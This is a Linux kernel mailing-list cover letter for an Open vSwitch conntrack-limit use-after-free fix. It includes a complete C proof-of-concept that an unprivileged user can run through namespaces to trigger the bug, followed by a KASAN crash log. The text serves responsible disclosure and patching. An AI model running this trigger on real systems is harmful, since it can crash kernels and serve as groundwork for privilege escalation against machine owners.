All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH net v2 0/1] openvswitch: Fix CT limit teardown use-after-free
@ 2026-07-22 16:40 Ren Wei
  2026-07-22 16:40 ` [PATCH net v2 1/1] " Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-22 16:40 UTC (permalink / raw)
  To: netdev, dev
  Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
	yihung.wei, pshelar, vega, tonanli66, xuyuqiabc, enjou1224z

From: Yuqi Xu <xuyuqiabc@gmail.com>


openvswitch: Fix CT limit teardown use-after-free

Changes in v2:

- Sort local declarations modified by this patch in reverse
  Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/

Hi Linux kernel maintainers,

We found an issue in net/openvswitch/conntrack.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.

---- details below ----

Bug details:

Packet processing uses CT limit state under RCU, while netns teardown
frees that state under ovs_mutex. The CT limit pointer was neither removed
from readers nor protected by a grace period, allowing packet processing to
dereference the freed state.

Replace the pointer before freeing the CT limit state. Wait for in-flight
RCU readers before freeing its contents. Serialize CT limit netlink
operations with teardown for the full lifetime of their state accesses.

Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")

Reproducer:

gcc -O2 -g -Wall -Wextra -pthread -o mini_poc mini_poc.c
./mini_poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define MAX_MSG 8192
#define DP_NAME "ovsmini"
#define PORT_NAME "povsmini"
#define PORT_NO 1
#define ZONE 1
#define LIMIT 1
#define WARMUP_MS 5
#define FLOOD_MS 500
#define CT_CLONES 4

#define OVS_DATAPATH_FAMILY "ovs_datapath"
#define OVS_DATAPATH_VERSION 2
#define OVS_VPORT_FAMILY "ovs_vport"
#define OVS_VPORT_VERSION 1
#define OVS_FLOW_FAMILY "ovs_flow"
#define OVS_FLOW_VERSION 1
#define OVS_CT_LIMIT_FAMILY "ovs_ct_limit"
#define OVS_CT_LIMIT_VERSION 1

struct ovs_header {
	int dp_ifindex;
};

enum {
	OVS_DP_CMD_NEW = 1,
	OVS_DP_CMD_GET = 3,
};

enum {
	OVS_DP_ATTR_NAME = 1,
	OVS_DP_ATTR_UPCALL_PID = 2,
	OVS_DP_ATTR_IFINDEX = 9,
};

enum {
	OVS_VPORT_CMD_NEW = 1,
};

enum {
	OVS_VPORT_ATTR_PORT_NO = 1,
	OVS_VPORT_ATTR_TYPE = 2,
	OVS_VPORT_ATTR_NAME = 3,
	OVS_VPORT_ATTR_UPCALL_PID = 5,
};

enum {
	OVS_VPORT_TYPE_INTERNAL = 2,
};

enum {
	OVS_FLOW_CMD_NEW = 1,
};

enum {
	OVS_FLOW_ATTR_KEY = 1,
	OVS_FLOW_ATTR_ACTIONS = 2,
	OVS_FLOW_ATTR_MASK = 7,
};

enum {
	OVS_KEY_ATTR_IN_PORT = 3,
	OVS_KEY_ATTR_ETHERNET = 4,
	OVS_KEY_ATTR_ETHERTYPE = 6,
	OVS_KEY_ATTR_IPV4 = 7,
	OVS_KEY_ATTR_UDP = 10,
};

enum {
	OVS_CT_ATTR_COMMIT = 1,
	OVS_CT_ATTR_ZONE = 2,
};

enum {
	OVS_ACTION_ATTR_CT = 12,
	OVS_ACTION_ATTR_CLONE = 20,
	OVS_ACTION_ATTR_DROP = 24,
};

enum {
	OVS_CT_LIMIT_CMD_SET = 1,
};

enum {
	OVS_CT_LIMIT_ATTR_ZONE_LIMIT = 1,
};

struct ovs_key_ethernet {
	uint8_t eth_src[ETH_ALEN];
	uint8_t eth_dst[ETH_ALEN];
};

struct ovs_key_ipv4 {
	uint32_t ipv4_src;
	uint32_t ipv4_dst;
	uint8_t ipv4_proto;
	uint8_t ipv4_tos;
	uint8_t ipv4_ttl;
	uint8_t ipv4_frag;
};

struct ovs_key_udp {
	uint16_t udp_src;
	uint16_t udp_dst;
};

struct ovs_zone_limit {
	int32_t zone_id;
	uint32_t limit;
	uint32_t count;
};

#ifndef NLA_ALIGN
#define NLA_ALIGNTO 4
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif

#define DIE(...) do { fprintf(stderr, __VA_ARGS__); fputc('\n', stderr); \
		      exit(EXIT_FAILURE); } while (0)

static void die_errno(const char *what)
{
	DIE("%s: %s", what, strerror(errno));
}

static void write_map(const char *path, const char *fmt, unsigned int id)
{
	char buf[64];
	int fd;
	int len;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		die_errno(path);
	len = snprintf(buf, sizeof(buf), fmt, id);
	if (write(fd, buf, (size_t)len) != len)
		die_errno(path);
	close(fd);
}

static void enter_user_netns(void)
{
	uid_t uid = getuid();
	gid_t gid = getgid();
	int fd;

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
		die_errno("unshare user/net namespace");

	fd = open("/proc/self/setgroups", O_WRONLY | O_CLOEXEC);
	if (fd >= 0) {
		if (write(fd, "deny", 4) != 4)
			die_errno("setgroups");
		close(fd);
	}
	write_map("/proc/self/uid_map", "0 %u 1\n", uid);
	write_map("/proc/self/gid_map", "0 %u 1\n", gid);

	if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
		die_errno("setresuid/setresgid");
}

static void addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
		    const void *data, size_t len)
{
	struct nlattr *nla;
	size_t total = NLA_ALIGN(NLA_HDRLEN + len);

	if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
		DIE("netlink message too large");
	nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + len;
	if (len)
		memcpy(NLA_DATA(nla), data, len);
	if (total > nla->nla_len)
		memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
}

static void add_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
		    uint16_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static void add_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
		    uint32_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static void add_s32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
		    int32_t value)
{
	addattr(nlh, maxlen, type, &value, sizeof(value));
}

static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
				 uint16_t type)
{
	struct nlattr *start = (struct nlattr *)((char *)nlh +
						  NLMSG_ALIGN(nlh->nlmsg_len));

	addattr(nlh, maxlen, type, NULL, 0);
	return start;
}

static void nest_end(struct nlmsghdr *nlh, struct nlattr *start)
{
	start->nla_len = (uint16_t)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len) -
				    (char *)start);
}

static int nl_open(int protocol)
{
	struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);

	if (fd < 0)
		die_errno("socket netlink");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)))
		die_errno("bind netlink");
	return fd;
}

static uint32_t next_seq(void)
{
	static uint32_t seq = 1;

	return __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
}

static void nl_send(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
	struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
	struct msghdr msg = {
		.msg_name = &addr,
		.msg_namelen = sizeof(addr),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	if (sendmsg(fd, &msg, 0) < 0)
		die_errno("sendmsg netlink");
}

static ssize_t nl_reply(int fd, uint32_t seq, char *buf, size_t len)
{
	for (;;) {
		struct nlmsghdr *nlh;
		ssize_t got = recv(fd, buf, len, 0);
		ssize_t rem;

		if (got < 0) {
			if (errno == EINTR)
				continue;
			return -1;
		}
		rem = got;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, rem);
		     nlh = NLMSG_NEXT(nlh, rem)) {
			if (nlh->nlmsg_seq != seq)
				continue;
			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *err = NLMSG_DATA(nlh);

				if (err->error) {
					errno = -err->error;
					return -1;
				}
				return nlh->nlmsg_len;
			} else {
				return nlh->nlmsg_len;
			}
		}
	}
}

static void nl_ack(int fd, uint32_t seq)
{
	char buf[MAX_MSG];

	if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
		die_errno("netlink request");
}

static struct nlattr *find_attr(void *data, size_t len, uint16_t type)
{
	struct nlattr *nla;

	while (len >= sizeof(*nla)) {
		nla = data;
		if (nla->nla_len < NLA_HDRLEN || nla->nla_len > len)
			break;
		if ((nla->nla_type & NLA_TYPE_MASK) == type)
			return nla;
		len -= NLA_ALIGN(nla->nla_len);
		data = (char *)data + NLA_ALIGN(nla->nla_len);
	}
	return NULL;
}

static int family_id(int fd, const char *name)
{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *genl;
	struct nlattr *attr;
	uint32_t seq = next_seq();

	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = seq;
	genl = NLMSG_DATA(nlh);
	genl->cmd = CTRL_CMD_GETFAMILY;
	genl->version = 1;
	addattr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
	nl_send(fd, nlh);
	if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
		die_errno("get generic-netlink family");
	attr = find_attr((char *)genl + GENL_HDRLEN,
			 nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN),
			 CTRL_ATTR_FAMILY_ID);
	if (!attr)
		DIE("family %s has no id", name);
	return *(uint16_t *)NLA_DATA(attr);
}

static void ovs_header(struct nlmsghdr *nlh, size_t maxlen, uint16_t family,
		       uint8_t cmd, uint8_t version, int dp_ifindex)
{
	struct genlmsghdr *genl;
	struct ovs_header *ovs;

	memset(nlh, 0, maxlen);
	nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + sizeof(*ovs));
	nlh->nlmsg_type = family;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = next_seq();
	genl = NLMSG_DATA(nlh);
	genl->cmd = cmd;
	genl->version = version;
	ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
	ovs->dp_ifindex = dp_ifindex;
}

static uint32_t request_seq(struct nlmsghdr *nlh)
{
	return nlh->nlmsg_seq;
}

static void set_up(int fd, const char *ifname)
{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifi;
	uint32_t seq = next_seq();

	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = seq;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_change = IFF_UP;
	ifi->ifi_flags = IFF_UP;
	addattr(nlh, sizeof(buf), IFLA_IFNAME, ifname, strlen(ifname) + 1);
	nl_send(fd, nlh);
	nl_ack(fd, seq);
}

static void move_to_ns(int fd, const char *ifname, int netns_fd)
{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifi;
	unsigned int ifindex = if_nametoindex(ifname);
	uint32_t seq = next_seq();

	if (!ifindex)
		die_errno("if_nametoindex");
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = seq;
	ifi = NLMSG_DATA(nlh);
	ifi->ifi_family = AF_UNSPEC;
	ifi->ifi_index = (int)ifindex;
	add_s32(nlh, sizeof(buf), IFLA_NET_NS_FD, netns_fd);
	nl_send(fd, nlh);
	nl_ack(fd, seq);
}

static void create_dp(int fd, int family)
{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

	ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_NEW,
		   OVS_DATAPATH_VERSION, 0);
	addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
		sizeof(DP_NAME));
	add_u32(nlh, sizeof(buf), OVS_DP_ATTR_UPCALL_PID, 0);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static int dp_ifindex(int fd, int family)
{
	char buf[MAX_MSG] = {};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct genlmsghdr *genl;
	struct ovs_header *ovs;

	ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_GET,
		   OVS_DATAPATH_VERSION, 0);
	nlh->nlmsg_flags = NLM_F_REQUEST;
	addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
		sizeof(DP_NAME));
	nl_send(fd, nlh);
	if (nl_reply(fd, request_seq(nlh), buf, sizeof(buf)) < 0)
		die_errno("get datapath");
	nlh = (struct nlmsghdr *)buf;
	genl = NLMSG_DATA(nlh);
	ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
	return ovs->dp_ifindex;
}

static void create_internal_port(int fd, int family, int dp)
{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

	ovs_header(nlh, sizeof(buf), family, OVS_VPORT_CMD_NEW,
		   OVS_VPORT_VERSION, dp);
	add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_TYPE,
		OVS_VPORT_TYPE_INTERNAL);
	addattr(nlh, sizeof(buf), OVS_VPORT_ATTR_NAME, PORT_NAME,
		sizeof(PORT_NAME));
	add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_UPCALL_PID, 0);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void set_limit(int fd, int family)
{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ovs_zone_limit limit = {
		.zone_id = ZONE,
		.limit = LIMIT,
	};

	ovs_header(nlh, sizeof(buf), family, OVS_CT_LIMIT_CMD_SET,
		   OVS_CT_LIMIT_VERSION, 0);
	addattr(nlh, sizeof(buf), OVS_CT_LIMIT_ATTR_ZONE_LIMIT,
		&limit, sizeof(limit));
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void add_flow(int fd, int family, int dp)
{
	char buf[MAX_MSG];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct ovs_key_ethernet eth = {};
	struct ovs_key_ipv4 ip = {.ipv4_proto = 17};
	struct ovs_key_ipv4 ip_mask = {.ipv4_proto = 0xff};
	struct ovs_key_udp udp = {};
	struct nlattr *key, *mask, *actions, *ct;

	ovs_header(nlh, sizeof(buf), family, OVS_FLOW_CMD_NEW,
		   OVS_FLOW_VERSION, dp);
	key = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_KEY);
	add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, PORT_NO);
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, &eth, sizeof(eth));
	add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(ETH_P_IP));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip, sizeof(ip));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
	nest_end(nlh, key);

	mask = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_MASK);
	add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, UINT32_MAX);
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, &eth, sizeof(eth));
	add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(UINT16_MAX));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip_mask, sizeof(ip_mask));
	addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
	nest_end(nlh, mask);

	int i;

	actions = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_ACTIONS);
	for (i = 0; i < CT_CLONES; i++) {
		struct nlattr *clone = nest_start(nlh, sizeof(buf),
						  OVS_ACTION_ATTR_CLONE);

		ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
		addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
		add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
		nest_end(nlh, ct);
		add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
		nest_end(nlh, clone);
	}
	ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
	addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
	add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
	nest_end(nlh, ct);
	add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
	nest_end(nlh, actions);
	nl_send(fd, nlh);
	nl_ack(fd, request_seq(nlh));
}

static void setup_victim(int anchor_fd, int ready_fd, int go_fd)
{
	int genl, rtnl;
	int dp_family, vport_family, flow_family, limit_family;
	int dp;
	char ready = 1;

	if (unshare(CLONE_NEWNET))
		die_errno("unshare victim netns");
	genl = nl_open(NETLINK_GENERIC);
	rtnl = nl_open(NETLINK_ROUTE);
	dp_family = family_id(genl, OVS_DATAPATH_FAMILY);
	vport_family = family_id(genl, OVS_VPORT_FAMILY);
	flow_family = family_id(genl, OVS_FLOW_FAMILY);
	limit_family = family_id(genl, OVS_CT_LIMIT_FAMILY);
	create_dp(genl, dp_family);
	dp = dp_ifindex(genl, dp_family);
	create_internal_port(genl, vport_family, dp);
	set_limit(genl, limit_family);
	add_flow(genl, flow_family, dp);
	move_to_ns(rtnl, PORT_NAME, anchor_fd);
	if (write(ready_fd, &ready, 1) != 1)
		die_errno("ready pipe");
	if (read(go_fd, &ready, 1) != 1)
		_exit(EXIT_FAILURE);
	_exit(EXIT_SUCCESS);
}

static uint16_t checksum(const void *data, size_t len)
{
	const uint16_t *p = data;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len)
		sum += *(const uint8_t *)p;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (uint16_t)~sum;
}

struct flood_ctx {
	volatile int *stop;
	int id;
};

static void *flood_thread(void *arg)
{
	struct flood_ctx *ctx = arg;
	struct {
		uint8_t dst[ETH_ALEN];
		uint8_t src[ETH_ALEN];
		uint16_t proto;
		uint8_t ip[20];
		uint8_t udp[8];
		uint8_t payload[8];
	} __attribute__((packed)) frame = {};
	struct sockaddr_ll addr = {
		.sll_family = AF_PACKET,
		.sll_protocol = htons(ETH_P_ALL),
	};
	int fd;
	unsigned int packet_id = (unsigned int)ctx->id << 24;

	memset(frame.dst, 0x11, ETH_ALEN);
	memset(frame.src, 0x22, ETH_ALEN);
	frame.proto = htons(ETH_P_IP);
	frame.ip[0] = 0x45;
	frame.ip[8] = 64;
	frame.ip[9] = 17;
	frame.ip[12] = 10;
	frame.ip[15] = 1;
	frame.ip[16] = 10;
	frame.ip[19] = 2;
	frame.ip[2] = 0;
	frame.ip[3] = sizeof(frame) - ETH_HLEN;
	frame.udp[4] = 0;
	frame.udp[5] = 16;

	fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
	if (fd < 0)
		return NULL;
	addr.sll_ifindex = if_nametoindex(PORT_NAME);
	while (!*ctx->stop && addr.sll_ifindex) {
		frame.ip[4] = (uint8_t)packet_id;
		frame.ip[5] = (uint8_t)(packet_id >> 8);
		frame.ip[10] = 0;
		frame.ip[11] = 0;
		frame.ip[10] = checksum(frame.ip, sizeof(frame.ip)) >> 8;
		frame.ip[11] = checksum(frame.ip, sizeof(frame.ip));
		frame.udp[0] = (uint8_t)(packet_id >> 8);
		frame.udp[1] = (uint8_t)packet_id;
		if (sendto(fd, &frame, sizeof(frame), 0,
			   (struct sockaddr *)&addr, sizeof(addr)) < 0 &&
		    (errno == ENODEV || errno == ENXIO || errno == ENETDOWN))
			break;
		packet_id++;
	}
	close(fd);
	return NULL;
}

static void flood_and_release(int go_fd)
{
	enum { THREADS = 4 };
	pthread_t threads[THREADS];
	struct flood_ctx ctx[THREADS];
	volatile int stop = 0;
	char go = 1;
	int i;

	for (i = 0; i < THREADS; i++) {
		ctx[i].stop = &stop;
		ctx[i].id = i;
		if (pthread_create(&threads[i], NULL, flood_thread, &ctx[i]))
			die_errno("pthread_create");
	}
	usleep(WARMUP_MS * 1000);
	if (write(go_fd, &go, 1) != 1)
		die_errno("release pipe");
	usleep(FLOOD_MS * 1000);
	stop = 1;
	for (i = 0; i < THREADS; i++)
		pthread_join(threads[i], NULL);
}

int main(void)
{
	int anchor_fd, genl, rtnl;
	int ready[2], go[2];
	pid_t child;
	char byte;

	enter_user_netns();
	anchor_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
	if (anchor_fd < 0)
		die_errno("anchor netns");
	genl = nl_open(NETLINK_GENERIC);
	rtnl = nl_open(NETLINK_ROUTE);
	if (pipe(ready) || pipe(go))
		die_errno("pipe");

	child = fork();
	if (child < 0)
		die_errno("fork");
	if (child == 0) {
		close(ready[0]);
		close(go[1]);
		close(genl);
		close(rtnl);
		setup_victim(anchor_fd, ready[1], go[0]);
	}

	close(ready[1]);
	close(go[0]);
	if (read(ready[0], &byte, 1) != 1)
		die_errno("ready");
	while (!if_nametoindex(PORT_NAME))
		usleep(1000);
	set_up(rtnl, PORT_NAME);
	flood_and_release(go[1]);
	waitpid(child, NULL, 0);
	close(go[1]);
	close(ready[0]);
	close(genl);
	close(rtnl);
	close(anchor_fd);
	return 0;
}

------END PoC--------

----BEGIN crash log----

[Wed Mar 18 20:20:25 2026] [  T10321] BUG: KASAN: slab-use-after-free in ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321] Read of size 4 at addr ffff888035c1f3e0 by task poc/10321

[Wed Mar 18 20:20:25 2026] [  T10321] CPU: 0 UID: 1028 PID: 10321 Comm: poc Not tainted 6.12.74 #3
[Wed Mar 18 20:20:25 2026] [  T10321] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[Wed Mar 18 20:20:25 2026] [  T10321] Call Trace:
[Wed Mar 18 20:20:25 2026] [  T10321]  <TASK>
[Wed Mar 18 20:20:25 2026] [  T10321]  dump_stack_lvl+0x10e/0x1f0
[Wed Mar 18 20:20:25 2026] [  T10321]  print_report+0xc6/0x620
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __phys_addr+0xcb/0x150
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  kasan_report+0xd8/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __kasan_slab_alloc+0x89/0x90
[Wed Mar 18 20:20:25 2026] [  T10321]  ? kmem_cache_alloc_noprof+0x126/0x2f0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_ct_execute+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  do_execute_actions+0xaab/0x7d60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __skb_clone+0x575/0x760
[Wed Mar 18 20:20:25 2026] [  T10321]  ? hlock_class+0x4e/0x130
[Wed Mar 18 20:20:25 2026] [  T10321]  clone_execute+0x496/0x6d0
[Wed Mar 18 20:20:25 2026] [  T10321]  do_execute_actions+0x1de7/0x7d60
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lock_acquire.part.0+0x119/0x370
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_acquire.part.0+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? ovs_dp_process_packet+0x227/0x820
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_execute_actions+0xf3/0x490
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_dp_process_packet+0x280/0x820
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_dp_process_packet+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __asan_memset+0x23/0x50
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __ovs_ct_update_key+0x3a9/0xdc0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ovs_vport_receive+0x21d/0x370
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx_ovs_vport_receive+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? lock_acquire+0x2f/0xb0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  internal_dev_xmit+0xbe/0x320
[Wed Mar 18 20:20:25 2026] [  T10321]  __dev_direct_xmit+0x58f/0x730
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___dev_direct_xmit+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [  T10321]  ? netdev_pick_tx+0x147/0xc80
[Wed Mar 18 20:20:25 2026] [  T10321]  packet_xmit+0x1ee/0x360
[Wed Mar 18 20:20:25 2026] [  T10321]  packet_sendmsg+0x2704/0x55c0
[Wed Mar 18 20:20:25 2026] [  T10321]  ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [  T10321]  ? __pfx___might_resched+0x10/0x10
[Wed Mar 18 20:20:25 2026] [  T10321]  ? srso_alias_return_thunk+0x5/0xfbef5
